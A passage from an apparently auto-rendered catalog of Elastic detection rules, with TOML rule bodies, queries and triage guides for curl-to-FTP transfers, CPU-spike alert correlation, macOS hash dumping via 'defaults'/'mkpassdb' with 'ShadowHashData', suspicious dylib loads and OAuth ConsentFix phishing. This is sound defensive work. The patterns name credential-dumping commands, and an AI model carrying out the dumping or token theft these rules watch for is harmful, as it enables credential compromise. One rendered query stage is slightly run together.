- Review the alert details to confirm it matches the query criteria, specifically checking for event.kind:alert and event.module:cloud_defend.
- Examine the context of the alert to identify any suspicious activities or anomalies within the container environment.
- Investigate the source and destination of the alert to determine if there are any unauthorized access attempts or lateral movement within the container infrastructure.
- Check for any recent changes or updates in the container orchestration system that might have introduced vulnerabilities.
- Correlate the alert with other security events or logs to identify patterns or repeated attempts that could indicate a larger attack campaign.
- Assess the impact of the alert on the containerized environment and determine if any immediate remediation actions are necessary to protect the host systems.
### False positive analysis
- Alerts triggered by routine maintenance tasks in container environments can be false positives. Users can create exceptions for known maintenance activities to reduce unnecessary alerts.
- Automated deployment processes might generate alerts due to rapid changes in container states. Exclude these processes by identifying and whitelisting their specific event patterns.
- Frequent updates to container images can cause alerts. Implement rules to recognize and exclude these updates if they match expected patterns and sources.
- Legitimate administrative actions within container orchestration platforms may be flagged. Document and exclude these actions by correlating them with authorized user activities.
- Network scanning tools used for security assessments might trigger alerts. Ensure these tools are recognized and excluded by defining their IP ranges and expected behaviors.
### Response and remediation
- Isolate the affected container to prevent lateral movement and further exploitation. This can be done by stopping the container or disconnecting it from the network.
- Analyze the container's logs and configurations to identify any unauthorized changes or suspicious activities that align with the alert.
- Patch any identified vulnerabilities in the container image or orchestration platform to prevent similar exploits.
- Restore the container from a known good backup or rebuild it using a secure and updated image to ensure no residual threats remain.
- Implement network segmentation and access controls to limit the exposure of containerized environments to potential threats.
- Escalate the incident to the security operations team if the threat appears to have impacted the host system or other critical infrastructure.
- Enhance monitoring and alerting rules to detect similar suspicious activities in the future, ensuring timely response to potential threats."""
risk_score = 47
rule_id = "4b4e9c99-27ea-4621-95c8-82341bc6e512"
rule_name_override = "message"
setup = """## Setup
This rule is configured to generate a maximum of 1000 alerts per run. This is to ensure that it captures as many alerts as possible.
For information on troubleshooting the maximum alerts warning please refer to this [guide](https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts)."""
severity = "medium"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.kind:alert and event.module:cloud_defend
'''
Stages and Predicates
Stage 1: query
event.kind:alert and event.module:cloud_defend
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.kind | eq |
| field:"event.kind" kind:eq value:"alert" |
event.module | eq |
| field:"event.module" kind:eq value:"cloud_defend" |
Curl to FTP Server via Raw IP
#Detects when Curl makes an outbound network connection to an FTP server (port 21) via a raw ip address.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Telemetry Coverage
Rule Body
[rule]
description = "Detects when Curl makes an outbound network connection to an FTP server (port 21) via a raw ip address."
id = "a702353c-bf41-4548-bb77-b6447384d3b8"
license = "Elastic License v2"
name = "Curl to FTP Server via Raw IP"
os_list = ["macos"]
version = "1.0.3"
query = '''
sequence by process.entity_id with maxspan=30s
[process where event.type == "start" and event.action == "exec" and process.name in ("curl", "nscurl")]
[network where event.type == "start" and destination.port == 21 and process.name in ("curl", "nscurl") and destination.domain == null]
'''
min_endpoint_version = "8.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "Effective_process.entity_id"
state = 0
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"
[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[internal]
min_endpoint_version = "8.16.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 30s, correlated by process.entity_id.
Stage 1: process
[process where event.type == "start" and event.action == "exec" and process.name in ("curl", "nscurl")]
Stage 2: network
[network where event.type == "start" and destination.port == 21 and process.name in ("curl", "nscurl") and destination.domain == null]
Indicators
These rows show field, operator, and value matches.
Detection Alert on a Process Exhibiting CPU Spike
#This rule correlates security alerts with processes exhibiting unusually high CPU utilization on the same host and process ID within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit payload execution, or abuse of system resources following initial compromise.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Impact | No specific technique |
Rule Body
[metadata]
creation_date = "2026/01/26"
maturity = "production"
updated_date = "2026/03/09"
[rule]
author = ["Elastic"]
description = """
This rule correlates security alerts with processes exhibiting unusually high CPU utilization on the same host and process
ID within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit
payload execution, or abuse of system resources following initial compromise.
"""
from = "now-9m"
interval = "5m"
language = "esql"
license = "Elastic License v2"
name = "Detection Alert on a Process Exhibiting CPU Spike"
setup = """## Setup
This rule requires host CPU metrics collected via the Elastic Agent **System** integration.
### System Metrics Integration Setup
The System integration collects host-level metrics such as CPU usage, load, memory, and process statistics and sends them to Elasticsearch using Elastic Agent.
#### Prerequisite Requirements:
- Elastic Agent managed by Fleet
- A Fleet Server configured and reachable
Refer to the Fleet Server setup guide:
https://www.elastic.co/guide/en/fleet/current/fleet-server.html
#### The following steps should be executed in order to enable CPU metrics collection:
- Go to the Kibana home page and click **Add integrations**.
- In the search bar, enter **System** and select the **System** integration.
- Click **Add System**.
- Configure an integration name and optionally add a description.
- Under **Metrics**, ensure the following datasets are enabled:
- `system.cpu`
- `system.load` (optional but recommended)
- `system.process` (optional, if process-level CPU is required)
- Review optional and advanced settings as needed.
- Add the integration to an existing agent policy or create a new agent policy.
- Deploy the Elastic Agent to the hosts from which CPU metrics should be collected.
- Click **Save and Continue** to finalize the setup.
#### Validation
After deployment, verify CPU metrics ingestion by confirming the presence of documents in:
- `metrics-system.cpu-*`
- `metrics-system.load-*` (if enabled)
For more details on the System integration and available metrics, refer to the documentation:
https://docs.elastic.co/integrations/system
"""
risk_score = 73
rule_id = "df9c0e92-5dee-4f1d-a760-3a5c039e4382"
severity = "high"
tags = [
"Use Case: Threat Detection",
"Rule Type: Higher-Order Rule",
"Resources: Investigation Guide",
"Domain: Endpoint",
"Tactic: Impact"
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
FROM metrics-*, .alerts-security.* METADATA _index
| where not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """)
| eval
// processes with more than 70% total CPU use
cpu_metrics_pids = CASE(_index like ".ds-metrics-system.process-*" and system.process.cpu.total.norm.pct >= 0.7, process.pid, null),
// any security alert with process.name and ID populated excluding low severity ones
alerts_pids = CASE(_index like ".internal.alerts-security.*" and kibana.alert.rule.name is not null and process.name is not null and process.pid is not null and host.id is not null and kibana.alert.risk_score > 21, process.pid, null)
| stats pid_with_cpu_spike = COUNT_DISTINCT(cpu_metrics_pids), pid_with_alerts = COUNT_DISTINCT(alerts_pids),
Esql.max_cpu_pct = MAX(system.process.cpu.total.norm.pct),
Esql.alerts = VALUES(kibana.alert.rule.name),
Esql.process_hash_sha256 = VALUES(process.hash.sha256),
process_path = VALUES(process.executable),
parent_process_path = VALUES(process.parent.executable),
user_name = VALUES(user.name),
host_name = VALUES(host.name),
cmdline = VALUES(process.command_line) by process.pid, process.name, host.id
| where pid_with_cpu_spike > 0 and pid_with_alerts > 0
// populate fields to use in rule exceptions
| eval process.hash.sha256 = MV_FIRST(Esql.process_hash_sha256),
process.executable = MV_FIRST(process_path),
process.parent.executable = MV_FIRST(parent_process_path),
process.command_line = MV_FIRST(cmdline),
user.name = MV_FIRST(user_name),
host.name = MV_FIRST(host_name)
| KEEP user.name, host.id, host.name, process.*, Esql.*
| where `process.executable` != "C:\\Program Files\\ESET\\ESET Security\\ekrn.exe" and
`process.executable` != "C:\\Windows\\System32\\CompatTelRunner.exe" and
`process.executable` != "C:\\Program Files\\UiPath\\Studio\\UiPath.ActivityCompiler.CommandLine.exe"
'''
note = """## Triage and analysis
### Investigating Detection Alert on a Process Exhibiting CPU Spike
This rule identifies processes that both triggered a security alert and exhibited unusually high CPU utilization on the
same host and process ID within a short time window. This combination may indicate malicious execution, resource abuse, or
post-compromise activity.
### Possible investigation steps
- Review the correlated alert(s) to understand why the process was flagged by Elastic Defend.
- Examine the process name, command line, and SHA-256 hash to determine whether the process is expected or known to be malicious.
- Validate the observed CPU usage and duration to determine whether the spike is abnormal for this process and host.
- Check for related process activity such as parent/child processes, suspicious process spawning, or privilege escalation attempts.
- Review additional host telemetry including:
- Network connections initiated by the process
- File creation or modification events
- Persistence mechanisms (services, scheduled tasks, registry keys)
- Determine whether similar activity is observed on other hosts, which may indicate a broader compromise.
### False positive analysis
- Legitimate high-CPU processes such as software updates, backup agents, security scans, or system maintenance tasks.
- Resource-intensive but benign applications (e.g., compilers, video encoding, data processing jobs).
- Security tools or monitoring agents temporarily consuming high CPU.
### Response and remediation
- If malicious activity is confirmed, isolate the affected host to prevent further impact.
- Terminate the offending process if safe to do so.
- Remove any identified malicious binaries or artifacts and eliminate persistence mechanisms.
- Apply relevant patches or configuration changes to remediate the root cause.
- Monitor the environment for recurrence of similar high-CPU processes combined with security alerts.
- Escalate the incident if multiple hosts or indicators suggest coordinated or widespread activity."""
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"
Stages and Predicates
Stage 1: from
FROM metrics-*, .alerts-security.* METADATA _index
Stage 2: where
| where not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """)
Stage 3: eval
| eval
cpu_metrics_pids = CASE(_index like ".ds-metrics-system.process-*" and system.process.cpu.total.norm.pct >= 0.7, process.pid, null),
alerts_pids = CASE(_index like ".internal.alerts-security.*" and kibana.alert.rule.name is not null and process.name is not null and process.pid is not null and host.id is not null and kibana.alert.risk_score > 21, process.pid, null)
alerts_pids =_index like ".internal.alerts-security.*" and kibana.alert.rule.name is not null and process.name is not null and process.pid is not null and host.id is not null and kibana.alert.risk_score > 21process.pidnullcpu_metrics_pids =_index like ".ds-metrics-system.process-*" and system.process.cpu.total.norm.pct >= 0.7process.pidnullStage 4: stats
| stats pid_with_cpu_spike = COUNT_DISTINCT(cpu_metrics_pids), pid_with_alerts = COUNT_DISTINCT(alerts_pids),
Esql.max_cpu_pct = MAX(system.process.cpu.total.norm.pct),
Esql.alerts = VALUES(kibana.alert.rule.name),
Esql.process_hash_sha256 = VALUES(process.hash.sha256),
process_path = VALUES(process.executable),
parent_process_path = VALUES(process.parent.executable),
user_name = VALUES(user.name),
host_name = VALUES(host.name),
cmdline = VALUES(process.command_line) by process.pid, process.name, host.id
Stage 5: where
| where pid_with_cpu_spike > 0 and pid_with_alerts > 0
Stage 6: eval
| eval process.hash.sha256 = MV_FIRST(Esql.process_hash_sha256),
process.executable = MV_FIRST(process_path),
process.parent.executable = MV_FIRST(parent_process_path),
process.command_line = MV_FIRST(cmdline),
user.name = MV_FIRST(user_name),
host.name = MV_FIRST(host_name)
Stage 7: keep
| KEEP user.name, host.id, host.name, process.*, Esql.*
Stage 8: where
| where `process.executable` != "C:\\Program Files\\ESET\\ESET Security\\ekrn.exe" and
`process.executable` != "C:\\Windows\\System32\\CompatTelRunner.exe" and
`process.executable` != "C:\\Program Files\\UiPath\\Studio\\UiPath.ActivityCompiler.CommandLine.exe"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
pid_with_alerts | gt |
| field:"pid_with_alerts" kind:gt value:"0" |
pid_with_cpu_spike | gt |
| field:"pid_with_cpu_spike" kind:gt value:"0" |
process.executable | ne |
| field:"Image" kind:ne |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
kibana.alert.rule.tags | eq | Rule Type: Higher-Order Rule | excludes:kibana.alert.rule.tags field:"kibana.alert.rule.tags" value:"Rule Type: Higher-Order Rule" |
Output Fields
These fields are emitted when the rule matches.
| Field | Source |
|---|---|
user.name | KEEP user.name |
host.id | KEEP host.id |
host.name | KEEP host.name |
process.* | KEEP process.* |
Esql.* | KEEP Esql.* |
Dumping Account Hashes via Built-In Commands
#Identifies the execution of macOS built-in commands used to dump user account hashes. Adversaries may attempt to dump credentials to obtain account login information in the form of a hash. These hashes can be cracked or leveraged for lateral movement.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Rule Body
[rule]
description = """
Identifies the execution of macOS built-in commands used to dump user account hashes. Adversaries may attempt to dump
credentials to obtain account login information in the form of a hash. These hashes can be cracked or leveraged for
lateral movement.
"""
id = "2ed766db-e0b0-4a07-8ec1-4e41dd406b64"
license = "Elastic License v2"
name = "Dumping Account Hashes via Built-In Commands"
os_list = ["macos"]
reference = [
"https://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored",
"https://www.unix.com/man-page/osx/8/mkpassdb/",
]
version = "1.0.30"
query = '''
process where event.type == "start" and
process.name in ("defaults", "mkpassdb") and process.args like~ ("ShadowHashData", "-dump")
'''
min_endpoint_version = "8.10.2"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"
[threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[internal]
min_endpoint_version = "8.10.2"
Stages and Predicates
Stage 1: process
process where event.type == "start" and
process.name in ("defaults", "mkpassdb") and process.args like~ ("ShadowHashData", "-dump")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.name | in |
| field:"process_basename" kind:in |
Dylib Loaded by Process in Suspicious Location
#Identifies instances where a dynamic library (dylib) is loaded by a process running from a suspicious or non-standard path on macOS. Threat actors may abuse this technique by using compromised or malicious processes originating from unusual locations to load dylibs for code injection, persistence, or privilege escalation. A dylib loaded from a suspicious process path can indicate that the process itself is malicious, has been tampered with, or is attempting to evade detection by operating from a non-standard location.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Telemetry Coverage
Rule Body
[rule]
description = """
Identifies instances where a dynamic library (dylib) is loaded by a process running from a suspicious or non-standard
path on macOS. Threat actors may abuse this technique by using compromised or malicious processes originating from
unusual locations to load dylibs for code injection, persistence, or privilege escalation. A dylib loaded from a
suspicious process path can indicate that the process itself is malicious, has been tampered with, or is attempting to
evade detection by operating from a non-standard location.
"""
id = "b97ecb91-b4bb-480e-a855-47f2a9ec107c"
license = "Elastic License v2"
name = "Dylib Loaded by Process in Suspicious Location"
os_list = ["macos"]
version = "1.0.24"
query = '''
sequence by process.entity_id with maxspan=10s
[process where event.type == "start" and event.action == "exec" and
process.executable like~ ("/var/tmp/*",
"/var/lib/*",
"/tmp/*",
"/var/folders/*",
"/Library/Graphics/*",
"/Library/Containers/*",
"/Library/Services/*",
"/var/root/*",
"/private/var/root/*",
"/Library/WebServer/*",
"/Library/Fonts/*")]
[library where event.action == "load" and
not dll.code_signature.trusted == true and not
dll.path like ("/Library/Apple/*", "/private/var/db/oah/*", "/System/Library/*", "/private/var/root/Library/Developer/CoreSimulator/*",
"/private/var/root/Library/Caches/ms-playwright/*", "/Library/Developer/*",
"/usr/lib/libobjc-trampolines.dylib")]
'''
min_endpoint_version = "8.11.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.11.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 10s, correlated by process.entity_id.
Stage 1: process
[process where event.type == "start" and event.action == "exec" and
process.executable like~ ("/var/tmp/*",
"/var/lib/*",
"/tmp/*",
"/var/folders/*",
"/Library/Graphics/*",
"/Library/Containers/*",
"/Library/Services/*",
"/var/root/*",
"/private/var/root/*",
"/Library/WebServer/*",
"/Library/Fonts/*")]
Stage 2: library
[library where event.action == "load" and
not dll.code_signature.trusted == true and not
dll.path like ("/Library/Apple/*", "/private/var/db/oah/*", "/System/Library/*", "/private/var/root/Library/Developer/CoreSimulator/*",
"/private/var/root/Library/Caches/ms-playwright/*", "/Library/Developer/*",
"/usr/lib/libobjc-trampolines.dylib")]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.executable | wildcard |
| field:"Image" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
dll.code_signature.trusted | eq | true | excludes:dll.code_signature.trusted field:"dll.code_signature.trusted" value:"true" |
dll.path | wildcard | /Library/Apple/*, /private/var/db/oah/*, /System/Library/*, /private/var/root/Library/Developer/CoreSimulator/*, /private/var/root/Library/Caches/ms-playwright/*, /Library/Developer/*, /usr/lib/libobjc-trampolines.dylib | excludes:dll.path |
Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource
#Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth | |
| Credential Access | |
| Lateral Movement |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2025/12/17"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client
application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio
Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user.
Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for
the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth
phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker
controlled infrastructure.
"""
from = "now-9m"
index = ["filebeat-*", "logs-azure.signinlogs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource"
note = """## Triage and analysis
### Investigating Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource
This New Terms rule detects the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application ID, target resource ID, and user principal within the last 14 days. When a user has never used a particular app+resource combination and it involves FOCI applications or legacy Azure AD, this may indicate OAuth phishing attacks like ConsentFix.
The rule is particularly effective at catching attacks where adversaries use stolen OAuth codes with first-party apps to access resources the victim has never accessed before. For example, if a non-developer suddenly uses Azure CLI to access legacy AAD for the first time, this is highly suspicious regardless of other factors.
### Possible investigation steps
- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a developer who would legitimately use these tools.
- Check `azure.signinlogs.properties.app_display_name` to confirm which application was used. Azure CLI or PowerShell access by non-technical users is suspicious.
- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users.
- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim.
- Review `azure.signinlogs.properties.is_interactive` - if this is a non-interactive sign-in shortly after an interactive one from a different IP, it indicates token replay.
- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence.
- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API or AAD API activity from unusual locations.
- Check `azure.auditlogs` for device registration events around the same timeframe.
### False positive analysis
- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code for the first time to access specific resources.
- Users onboarding to new development environments or receiving new tooling.
- Automation scripts that run with user-delegated permissions for the first time.
- Consider the user's role and typical activity patterns when evaluating alerts.
### Response and remediation
- Contact the user to confirm if they initiated the OAuth flow and used the detected application.
- If unauthorized, immediately revoke all refresh tokens for the user via Microsoft Entra ID.
- Review recent activity from the same `session_id` for signs of data access or enumeration.
- Block the source IP if confirmed malicious.
- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices.
- Educate users about OAuth phishing and the risks of pasting authorization codes.
"""
references = [
"https://pushsecurity.com/blog/consentfix",
"https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/",
"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow",
"https://github.com/secureworks/family-of-client-ids-research",
]
risk_score = 47
rule_id = "c8e5f6a2-1234-4d5e-9f8a-b7c6d5e4f3a2"
severity = "medium"
tags = [
"Domain: Cloud",
"Domain: Identity",
"Data Source: Azure",
"Data Source: Microsoft Entra ID",
"Data Source: Microsoft Entra ID Sign-in Logs",
"Use Case: Identity and Access Audit",
"Use Case: Threat Detection",
"Tactic: Initial Access",
"Tactic: Credential Access",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
data_stream.dataset: "azure.signinlogs" and
event.outcome: "success" and
azure.signinlogs.properties.user_type: "Member" and
(
(
azure.signinlogs.properties.app_id: (
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" or
"aebc6443-996d-45c2-90f0-388ff96faa56" or
"1950a258-227b-4e31-a9cf-717495945fc2"
) and
azure.signinlogs.properties.resource_id: (
"00000002-0000-0000-c000-000000000000" or
"00000003-0000-0000-c000-000000000000"
)
) or
(
azure.signinlogs.properties.app_id: (
"00b41c95-dab0-4487-9791-b9d2c32c80f2" or
"1fec8e78-bce4-4aaf-ab1b-5451cc387264" or
"26a7ee05-5602-4d76-a7ba-eae8b7b67941" or
"27922004-5251-4030-b22d-91ecd9a37ea4" or
"4813382a-8fa7-425e-ab75-3b753aab3abb" or
"ab9b8c07-8f02-4f72-87fa-80105867a763" or
"872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or
"af124e86-4e96-495a-b70a-90f90ab96707" or
"2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or
"844cca35-0656-46ce-b636-13f48b0eecbd" or
"87749df4-7ccf-48f8-aa87-704bad0e0e16" or
"cf36b471-5b44-428c-9ce7-313bf84528de" or
"0ec893e0-5785-4de6-99da-4ed124e5296c" or
"22098786-6e16-43cc-a27d-191a01a1e3b5" or
"4e291c71-d680-4d0e-9640-0a3358e31177" or
"57336123-6e14-4acc-8dcf-287b6088aa28" or
"57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or
"66375f6b-983f-4c2c-9701-d680650f588f" or
"a40d7d7d-59aa-447e-a655-679a4107e548" or
"a569458c-7f2b-45cb-bab9-b7dee514d112" or
"b26aadf8-566f-4478-926f-589f601d9c74" or
"c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or
"d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or
"e9c51622-460d-4d3d-952d-966a5b1da34c" or
"eb539595-3fe1-474e-9c1d-feb3625d1be5" or
"ecd6b820-32c2-49b6-98a6-444530e5a77a" or
"f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or
"f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or
"be1918be-3fe3-4be9-b32b-b542fc27f02e" or
"cab96880-db5b-4e15-90a7-f3f1d62ffe39" or
"d7b530a4-7680-4c23-a8bf-c52c121d2e87" or
"dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or
"e9b154d0-7658-433b-bb25-6b8e0a8a7c59"
) and
azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000"
)
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[[rule.threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[rule.threat.technique.subtechnique]]
id = "T1566.002"
name = "Spearphishing Link"
reference = "https://attack.mitre.org/techniques/T1566/002/"
[[rule.threat.technique]]
id = "T1199"
name = "Trusted Relationship"
reference = "https://attack.mitre.org/techniques/T1199/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1528"
name = "Steal Application Access Token"
reference = "https://attack.mitre.org/techniques/T1528/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1550"
name = "Use Alternate Authentication Material"
reference = "https://attack.mitre.org/techniques/T1550/"
[[rule.threat.technique.subtechnique]]
id = "T1550.001"
name = "Application Access Token"
reference = "https://attack.mitre.org/techniques/T1550/001/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"azure.signinlogs.properties.user_principal_name",
"azure.signinlogs.properties.app_id",
"azure.signinlogs.properties.app_display_name",
"azure.signinlogs.properties.resource_id",
"azure.signinlogs.properties.resource_display_name",
"azure.signinlogs.properties.is_interactive",
"azure.signinlogs.properties.session_id",
"azure.signinlogs.properties.incoming_token_type",
"source.ip",
"source.geo.country_name",
"source.geo.city_name",
"user_agent.original",
]
[rule.new_terms]
field = "new_terms_fields"
value = [
"azure.signinlogs.properties.user_principal_name",
"azure.signinlogs.properties.app_id",
"azure.signinlogs.properties.resource_id",
]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"
Stages and Predicates
Stage 1: new_terms
data_stream.dataset: "azure.signinlogs" and
event.outcome: "success" and
azure.signinlogs.properties.user_type: "Member" and
(
(
azure.signinlogs.properties.app_id: (
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" or
"aebc6443-996d-45c2-90f0-388ff96faa56" or
"1950a258-227b-4e31-a9cf-717495945fc2"
) and
azure.signinlogs.properties.resource_id: (
"00000002-0000-0000-c000-000000000000" or
"00000003-0000-0000-c000-000000000000"
)
) or
(
azure.signinlogs.properties.app_id: (
"00b41c95-dab0-4487-9791-b9d2c32c80f2" or
"1fec8e78-bce4-4aaf-ab1b-5451cc387264" or
"26a7ee05-5602-4d76-a7ba-eae8b7b67941" or
"27922004-5251-4030-b22d-91ecd9a37ea4" or
"4813382a-8fa7-425e-ab75-3b753aab3abb" or
"ab9b8c07-8f02-4f72-87fa-80105867a763" or
"872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or
"af124e86-4e96-495a-b70a-90f90ab96707" or
"2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or
"844cca35-0656-46ce-b636-13f48b0eecbd" or
"87749df4-7ccf-48f8-aa87-704bad0e0e16" or
"cf36b471-5b44-428c-9ce7-313bf84528de" or
"0ec893e0-5785-4de6-99da-4ed124e5296c" or
"22098786-6e16-43cc-a27d-191a01a1e3b5" or
"4e291c71-d680-4d0e-9640-0a3358e31177" or
"57336123-6e14-4acc-8dcf-287b6088aa28" or
"57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or
"66375f6b-983f-4c2c-9701-d680650f588f" or
"a40d7d7d-59aa-447e-a655-679a4107e548" or
"a569458c-7f2b-45cb-bab9-b7dee514d112" or
"b26aadf8-566f-4478-926f-589f601d9c74" or
"c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or
"d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or
"e9c51622-460d-4d3d-952d-966a5b1da34c" or
"eb539595-3fe1-474e-9c1d-feb3625d1be5" or
"ecd6b820-32c2-49b6-98a6-444530e5a77a" or
"f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or
"f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or
"be1918be-3fe3-4be9-b32b-b542fc27f02e" or
"cab96880-db5b-4e15-90a7-f3f1d62ffe39" or
"d7b530a4-7680-4c23-a8bf-c52c121d2e87" or
"dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or
"e9b154d0-7658-433b-bb25-6b8e0a8a7c59"
) and
azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000"
)
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
azure.signinlogs.properties.app_id | in |
| field:"azure_ad::app_id" kind:in |
azure.signinlogs.properties.resource_id | eq |
| field:"azure_ad::resource_id" kind:eq value:"00000002-0000-0000-c000-000000000000" |
azure.signinlogs.properties.resource_id | in |
| field:"azure_ad::resource_id" kind:in |
azure.signinlogs.properties.user_type | eq |
| field:"azure_ad::user_type" kind:eq value:"Member" |
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"azure.signinlogs" |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)
